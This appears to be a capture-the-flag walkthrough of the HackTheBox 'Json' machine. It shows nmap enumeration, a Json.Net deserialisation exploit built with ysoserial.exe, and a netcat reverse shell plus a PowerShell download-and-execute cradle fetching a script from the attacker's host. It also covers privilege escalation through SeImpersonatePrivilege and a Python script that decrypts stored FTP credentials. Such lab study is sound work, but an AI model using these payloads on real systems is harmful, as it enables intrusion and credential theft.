Json
Gaining Access
Nmap scan:
$ nmap -p- --min-rate 5000 10.129.227.191
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-30 12:18 +08
Nmap scan report for 10.129.227.191
Host is up (0.0072s latency).
Not shown: 65521 closed tcp ports (conn-refused)
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5985/tcp open wsman
47001/tcp open winrm
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown
49158/tcp open unknown
Lots of ports open. WinRM is open, so if we get creds we can use evil-winrm
.
FTP Anonymous Fail
As usual, when I see FTP open I always attempt an anonymous login, which fails for this machine:
$ ftp 10.129.227.191
Connected to 10.129.227.191.
220-FileZilla Server 0.9.60 beta
220-written by Tim Kosse (tim.kosse@filezilla-project.org)
220 Please visit https://filezilla-project.org/
Name (10.129.227.191:kali): anonymous
331 Password required for anonymous
Password:
530 Login or password incorrect!
ftp: Login failed
Port 80 -> Enumeration
Port 80 just shows us a login for HackTheBox:

When the traffic is viewed in Burpsuite, we can see a lot of different JS files being loaded as well:

The POST request to /api/token
was my first login attempt:

I noticed that in the requests proxied, there wasn't any request to /
. When I visit it, the dashboard loads for a brief second before redirecting me to the login page. Weird. Anyways we can take a look at some of these JS files since we don't have any credentials yet.
One of them was particularly interesting:

The app.min.js
file was obfuscated JS code. We can deobfuscate it here:
angular.module("json", ["ngCookies"]).controller("loginController", ["$http", "$scope", "$cookies", function (izzat, shaunae, mariola) {
shaunae.credentials = {UserName: "", Password: ""};
shaunae.error = {message: "", show: false};
var nicandro = mariola.get("OAuth2");
if (nicandro) {
window.location.href = "index.html";
}
;
shaunae.login = function () {
izzat.post("/api/token", shaunae.credentials).then(function (hailei) {
window.location.href = "index.html";
}, function (eldyn) {
shaunae.error.message = "Invalid Credentials.";
shaunae.error.show = true;
console.log(eldyn);
});
};
}]).controller("principalController", ["$http", "$scope", "$cookies", function (zuleyka, janaliz, jeovany) {
var trung = jeovany.get("OAuth2");
if (trung) {
zuleyka.get("/api/Account/", {headers: {Bearer: trung}}).then(function (mickela) {
janaliz.UserName = mickela.data.Name;
}, function (alirah) {
jeovany.remove("OAuth2");
window.location.href = "login.html";
});
} else {
window.location.href = "login.html";
}
}]);
This bit of code reveals a bit more about how the POST requests to /api/token
are processed. We can try to send a POST request with admin:admin
as the fields. This returns a request with the OAuth2
cookie set to a JWT looking token:

When decoded, we get this:
$ echo eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0= | base64 -d | jq
{
"Id": 1,
"UserName": "admin",
"Password": "21232f297a57a5a743894a0e4a801fc3",
"Name": "User Admin HTB",
"Rol": "Administrator"
}
Interesting. I tried to login via the normal method and it worked! We can see the dashboard:

The dashboard was static, so there wasn't much to do here.
Deseralisation -> RCE
As per the deobfuscated JS code, there's an /api/Account
endpoint within the site. When I logged in the normal way above, I saw one request sent to there.

The response was the same as the decoded cookie value! This means that either the OAuth2
cookie or the Bearer
HTTP header value was being deserialised and decoded via base64
or something. If we remove a few characters from the Bearer
header, we get an error:

If we remove more characters, we get this error:

There definitely is an insecure deserialisation exploit here, because the values of the Bearer
header are likely unsanitised since it still attempts to process it. As such, we can use ysoserial.exe
to generate a payload to give us a reverse shell.
ysoserial.exe
has a lot of different gadgets, of which we should be using those that have the Json.Net
formatters since we were being returned JSON in the request. This also matches the website, since it is hosted using ASP.NET. We can try to get a reverse shell using smbserver.py
to execute nc64.exe
.
I tried using this gadget, but it didn't work:
C:\Users\User\htb\Release>.\ysoserial.exe -g WindowsPrincipal -f Json.Net -c "\\\\10.10.14.42\\share\\nc64.exe -e cmd.exe 10.10.14.42 4444" -o base64
ew0KICAgICAgICAgICAgICAgICAgICAnJHR5cGUnOiAnU3lzdGVtLlNlY3VyaXR5LlByaW5jaXB...
So I tried different gadgets, and eventually the ObjectDataProvider
one worked. In my testing, it threw a lot of Powershell errors, so I thought it would be better if we used a Powershell shell instead.
First, let's get the encoded Powershell command:
$ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.42/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0; echo
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQAMgAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=
Afterwards, we can pass this into ysoserial.exe
.
ysoserial.exe -g ObjectDataProvider -f json.net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQAMgAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
Then, we can send the encoded payload as the value of the Bearer
header.

This would still return 500, but we would get a GET request for shell.ps1
on a HTTP server and a reverse shell on our listener port!

We can then grab the user flag.
Privilege Escalation
Method 1: Privilege Abuse
We had the SeImpersonatePrivilege
enabled for this user:
PS C:\users\userpool\desktop> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
We can either abuse JuicyPotato.exe
or just use PrintSpoofer.exe
. Both work. Before doing those, make sure to download nc.exe
to get a cmd.exe
shell instead of a Powershell one.

We can find the root.txt
flag in the superadmin
user's desktop.
Method 2: FTP
In the C:\Program Files
directory, there's a non-default application present as Sync2Ftp
:
C:\Program Files>dir
dir
Volume in drive C has no label.
Volume Serial Number is AEF2-0DF2
Directory of C:\Program Files
08/08/2019 07:04 PM <DIR> .
08/08/2019 07:04 PM <DIR> ..
08/08/2019 07:04 PM <DIR> Common Files
11/21/2014 07:24 AM <DIR> Embedded Lockdown Manager
08/08/2019 07:04 PM <DIR> Internet Explorer
05/22/2019 04:37 PM <DIR> MSBuild
05/22/2019 04:37 PM <DIR> Reference Assemblies
05/23/2019 03:06 PM <DIR> Sync2Ftp
05/22/2019 04:28 PM <DIR> VMware
08/08/2019 07:04 PM <DIR> Windows Mail
08/08/2019 07:04 PM <DIR> Windows Media Player
08/08/2019 07:04 PM <DIR> Windows Multimedia Platform
08/08/2019 07:04 PM <DIR> Windows NT
08/08/2019 07:04 PM <DIR> Windows Photo Viewer
08/08/2019 07:04 PM <DIR> Windows Portable Devices
11/21/2014 07:24 AM <DIR> WindowsPowerShell
Directory of C:\Program Files\Sync2Ftp
05/23/2019 03:06 PM <DIR> .
05/23/2019 03:06 PM <DIR> ..
05/23/2019 02:48 PM 9,728 SyncLocation.exe
05/23/2019 03:08 PM 591 SyncLocation.exe.config
The config files contained some encoded stuff:
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<appSettings>
<add key="destinationFolder" value="ftp://localhost/"/>
<add key="sourcefolder" value="C:\inetpub\wwwroot\jsonapp\Files"/>
<add key="user" value="4as8gqENn26uTs9srvQLyg=="/>
<add key="minute" value="30"/>
<add key="password" value="oQ5iORgUrswNRsJKH9VaCw=="></add>
<add key="SecurityKey" value="_5TL#+GWWFv6pfT3!GXw7D86pkRRTv+$$tk^cL5hdU%"/>
</appSettings>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2" />
</startup>
</configuration>
This uses .NET, so we can download it back to our Windows machine and use DnSpy.exe
on it. When loaded, the binary contains some interesting functions:

It appears that it can Decrypt the password that we found in the config file. Here's the decrypt function:
public static string Decrypt(string cipherString, bool useHashing)
{
byte[] array = Convert.FromBase64String(cipherString);
AppSettingsReader appSettingsReader = new AppSettingsReader();
string s = (string)appSettingsReader.GetValue("SecurityKey", typeof(string));
byte[] key;
if (useHashing)
{
MD5CryptoServiceProvider md5CryptoServiceProvider = new MD5CryptoServiceProvider();
key = md5CryptoServiceProvider.ComputeHash(Encoding.UTF8.GetBytes(s));
md5CryptoServiceProvider.Clear();
}
else
{
key = Encoding.UTF8.GetBytes(s);
}
TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider = new TripleDESCryptoServiceProvider();
tripleDESCryptoServiceProvider.Key = key;
tripleDESCryptoServiceProvider.Mode = CipherMode.ECB;
tripleDESCryptoServiceProvider.Padding = PaddingMode.PKCS7;
ICryptoTransform cryptoTransform = tripleDESCryptoServiceProvider.CreateDecryptor();
byte[] bytes = cryptoTransform.TransformFinalBlock(array, 0, array.Length);
tripleDESCryptoServiceProvider.Clear();
return Encoding.UTF8.GetString(bytes);
}
This uses 3DES to decrypt, and since we have the correct files, we can create a Python script that does the same.
from Crypto.Cipher import DES3
import base64
import hashlib
key = b'_5TL#+GWWFv6pfT3!GXw7D86pkRRTv+$$tk^cL5hdU%'
user = '4as8gqENn26uTs9srvQLyg=='
password = 'oQ5iORgUrswNRsJKH9VaCw=='
def decrypt_3des(key, ciphertext):
ciphertext = base64.b64decode(ciphertext)
actual_key = hashlib.md5(key).digest()
cipher = DES3.new(actual_key, DES3.MODE_ECB)
plaintext = cipher.decrypt(ciphertext)
return plaintext.decode('utf-8')
print(decrypt_3des(key,user))
print(decrypt_3des(key,password))
$ python3 decrypt.py
superadmin
funnyhtb
With this, we can try to access the FTP server again.
$ ftp 10.129.159.228
Connected to 10.129.159.228.
220-FileZilla Server 0.9.60 beta
220-written by Tim Kosse (tim.kosse@filezilla-project.org)
220 Please visit https://filezilla-project.org/
Name (10.129.159.228:kali): superadmin
331 Password required for superadmin
Password:
230 Logged on
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||57901|)
150 Opening data channel for directory listing of "/"
drwxr-xr-x 1 ftp ftp 0 May 22 2019 AppData
drwxr-xr-x 1 ftp ftp 0 May 22 2019 Application Data
drwxr-xr-x 1 ftp ftp 0 May 22 2019 Contacts
drwxr-xr-x 1 ftp ftp 0 May 22 2019 Cookies
drwxr-xr-x 1 ftp ftp 0 Mar 17 2021 Desktop
drwxr-xr-x 1 ftp ftp 0 May 22 2019 Documents
drwxr-xr-x 1 ftp ftp 0 May 22 2019 Downloads
drwxr-xr-x 1 ftp ftp 0 May 22 2019 Favorites
drwxr-xr-x 1 ftp ftp 0 May 22 2019 Links
drwxr-xr-x 1 ftp ftp 0 May 22 2019 Local Settings
drwxr-xr-x 1 ftp ftp 0 May 22 2019 Music
drwxr-xr-x 1 ftp ftp 0 May 22 2019 My Documents
drwxr-xr-x 1 ftp ftp 0 May 22 2019 NetHood
-r--r--r-- 1 ftp ftp 524288 Jun 30 01:03 NTUSER.DAT
-r--r--r-- 1 ftp ftp 8192 May 22 2019 ntuser.dat.LOG1
-r--r--r-- 1 ftp ftp 122880 May 22 2019 ntuser.dat.LOG2
-r--r--r-- 1 ftp ftp 65536 May 22 2019 NTUSER.DAT{a8bf096c-714a-11e4-80c0-a4badb286356}.TM.blf
-r--r--r-- 1 ftp ftp 524288 May 22 2019 NTUSER.DAT{a8bf096c-714a-11e4-80c0-a4badb286356}.TMContainer00000000000000000001.regtrans-ms
-r--r--r-- 1 ftp ftp 524288 May 22 2019 NTUSER.DAT{a8bf096c-714a-11e4-80c0-a4badb286356}.TMContainer00000000000000000002.regtrans-ms
-r--r--r-- 1 ftp ftp 20 May 22 2019 ntuser.ini
drwxr-xr-x 1 ftp ftp 0 May 22 2019 Pictures
drwxr-xr-x 1 ftp ftp 0 May 22 2019 PrintHood
drwxr-xr-x 1 ftp ftp 0 May 22 2019 Recent
drwxr-xr-x 1 ftp ftp 0 May 22 2019 Saved Games
drwxr-xr-x 1 ftp ftp 0 May 22 2019 Searches
drwxr-xr-x 1 ftp ftp 0 May 22 2019 SendTo
drwxr-xr-x 1 ftp ftp 0 May 22 2019 Start Menu
drwxr-xr-x 1 ftp ftp 0 May 22 2019 Templates
drwxr-xr-x 1 ftp ftp 0 May 22 2019 Videos
226 Successfully transferred "/"
ftp> cd Desktop
250 CWD successful. "/Desktop" is current directory.
ftp> ls
229 Entering Extended Passive Mode (|||50164|)
150 Opening data channel for directory listing of "/Desktop"
-r--r--r-- 1 ftp ftp 282 May 22 2019 desktop.ini
-r--r--r-- 1 ftp ftp 34 Jun 30 01:03 root.txt
We now have access to the entire file system via FTP and can download the flag via this method.
Last updated